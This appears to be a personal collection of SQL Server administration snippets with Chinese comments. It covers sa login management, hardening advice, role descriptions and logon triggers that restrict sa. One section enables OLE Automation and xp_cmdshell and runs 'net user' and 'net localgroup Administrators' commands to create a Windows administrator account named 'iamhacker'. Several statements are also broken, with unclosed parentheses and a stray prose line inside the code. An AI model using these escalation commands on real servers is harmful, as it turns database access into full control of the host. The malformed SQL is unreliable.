--禁用,启用sa 
ALTER   LOGIN   [sa]   DISABLE 
 
ALTER   LOGIN   [sa]   ENABLE 
 
--sa改密码 
EXEC   sp_password   NULL,   '123456',   'Sa ' 
 
 
 
--sa添加Windows管理员权限 
 
----------------------------------------------------------------------------------------------------- 
--1.不用sp_cmdshell,sp_OACreate 
sp_configure 'show advanced options', 1
GO 
RECONFIGURE; 
GO 
sp_configure 'Ole Automation Procedures', 1
GO 
RECONFIGURE; 
GO 
 
 
DECLARE @object INT 
--创建WScript.Shell 
EXEC sp_OACreate 'WScript.Shell', @object OUT 
--运行net user iamhacker opendoor /add 
--添加一个名字为iamhacker,密码为opendoor的用户 
EXEC sp_OAMethod @object, 'Run', NULL, 'net user iamhacker opendoor /add' 
--把iamhacker添加到Administrators组中 
EXEC sp_OAMethod @object, 'Run', NULL, 'net localgroup Administrators iamhacker /add' 
--查看账户 
EXEC xp_cmdshell 'net user '; 
--把iamhacker从User组中删除 
EXEC sp_OAMethod @object, 'Run', NULL, 'net user iamhacker /del' 
 
 
/* 
DECLARE @object INT 
--创建WScript.Shell 
EXEC sp_OACreate 'WScript.Shell', @object OUT 
--把iamhacker从User组中删除 
 
EXEC sp_OAMethod @object, 'Run', NULL, 'net user iamhacker /del' 
*/ 
sp_configure 'show advanced options', 1
GO 
RECONFIGURE; 
GO 
sp_configure 'Ole Automation Procedures', 1
GO 
RECONFIGURE; 
GO 
 
--2.sp_cmdshell 
use master 
EXEC sp_configure 'show advanced options', 1 
GO 
RECONFIGURE 
GO 
EXEC sp_configure 'xp_cmdshell', 1 
GO 
RECONFIGURE 
GO 
--测试是否有xp_cmdshell的权限,如果列出数据,说明有权限 
exec xp_cmdshell 'dir c:' 
go 
 
--添加windows用户: 
EXEC xp_cmdshell 'net user ghd /add'; 
--设置好密码: 
EXEC xp_cmdshell 'net user ghd password'; 
--提升到管理员: 
EXEC xp_cmdshell 'net localgroup administrators ghd /add'; 
--查看账户 
EXEC xp_cmdshell 'net user '; 
--删除windows用户: 
EXEC xp_cmdshell 'net user ghd /delete'; 
 
 
EXEC sp_configure 'show advanced options', 1 
GO 
RECONFIGURE 
GO 
EXEC sp_configure 'xp_cmdshell', 0 
GO 
RECONFIGURE 
 
 
 
 
 
 
 
--存储过程安全注意的 
/* 
把危险的和不必要的存储过程删除, 
xp_cmdshell,很危险的一个存储过程,能够执行dos命令,可 以通过下述SQL语句 
use master 
sp_dropextendedproc ‘xp_cmdshell‘ 
不过依然可以通 过sp_addextendedproc来恢复,因此最好删除或改名xplog70.dll(sql server 2000) 
xpsql70.dll(sql serer 7.0) 
以下存储过程也很危险 
xp_fileexist,用来确定一个文件是否存在。 xp_getfiledetails,可以获得文件详细资料。 
xp_dirtree,可以展开你需要了解的目录,获得所有目录深度。 Xp_getnetname,可以获得 
服务器名称。 
去掉不需要的注册表访问的存储过程,如下: 
Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues 
Xp_regread Xp_regremovemultistring Xp_regwrite 
如果你不需要请丢弃OLE自动存储过程,这些过程包括如下: 
Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty 
Sp_OAMethod Sp_OASetProperty Sp_OAStop 
 
*/ 
 
--权限解释 
/* 
-------------------------------- 
 
SQL Server的用户及权限  
sysadmin 可以在 SQL Server 中执行任何活动  
serveradmin 可以设置服务器范围的配置选项 关闭服务器  
setupadmin 可以管理链接服务器和启动过程  
securityadmin 可以管理登录和 CREATE DATABASE 权限 还可以读取错误日志和更改密码  
processadmin 可以管理在 SQL Server 中运行的进程  
dbcreator 可以创建 更改和除去数据库  
diskadmin 可以管理磁盘文件  
bulkadmin 可以执行 BULK INSERT 语句  
 
固定数据库角色 描述  
db_owner 在数据库中有全部权限  
db_accessadmin 可以添加或删除用户ID  
db_securityadmin 可以管理全部权限 对象所有权 角色和角色成员资格  
db_ddladmin 可以发出ALL DDL但不能发出GRANT REVOK或DENY语句  
db_backupoperator 可以发出DBCC CHECKPOINT和BACKUP 语句  
db_datareader 可以选择数据库内任何用户表中的所有数据  
db_datawriter 可以更改数据库内任何用户表中的所有数据  
db_denydatareader 不能选择数据库内任何用户表中的任何数据  
db_denydatawriter 不能更改数据库内任何用户表中的任何数据  
*/ 
------------------------------------------------------------------------------------------------------ 
 
--sa指定IP登录 
 
如果连接的ip不是指定ip,则rollback 
CREATE TRIGGER connection_limit_trigger 
ON ALL SERVER  
FOR LOGON 
AS 
BEGIN 
 declare @ip nvarchar(max
 declare @loginName nvarchar(max
 SELECT @ip=EVENTDATA().value 
        ('(/EVENT_INSTANCE/ClientHost)[1]','nvarchar(max)') 
    SELECT @loginName=EVENTDATA().value 
        ('(/EVENT_INSTANCE/LoginName)[1]','nvarchar(max)') 
    if @loginName='sa' and @ip<>'127.0.0.1'--replaced with your ip 
      rollback 
END
 
 
 
--------------------------------------------------------------------------------- 
 
  
 
--限制sa连接数 
CREATE TRIGGER login_limit_trigger ON ALL SERVER 
    FOR LOGON 
AS 
    BEGIN 
        DECLARE @loginN NVARCHAR(MAX
        SELECT  @loginN = COUNT(0
        FROM    sysprocesses 
        WHERE   loginame = 'sa' 
        IF @loginN >= 30   --30连接 
            ROLLBACK 
    END ; 
 
--查看当前用户 
USE master 
  
SELECT  loginame , 
        COUNT(0
FROM    sysprocesses 
 GROUP BY loginame 
ORDER BY COUNT(0) DESC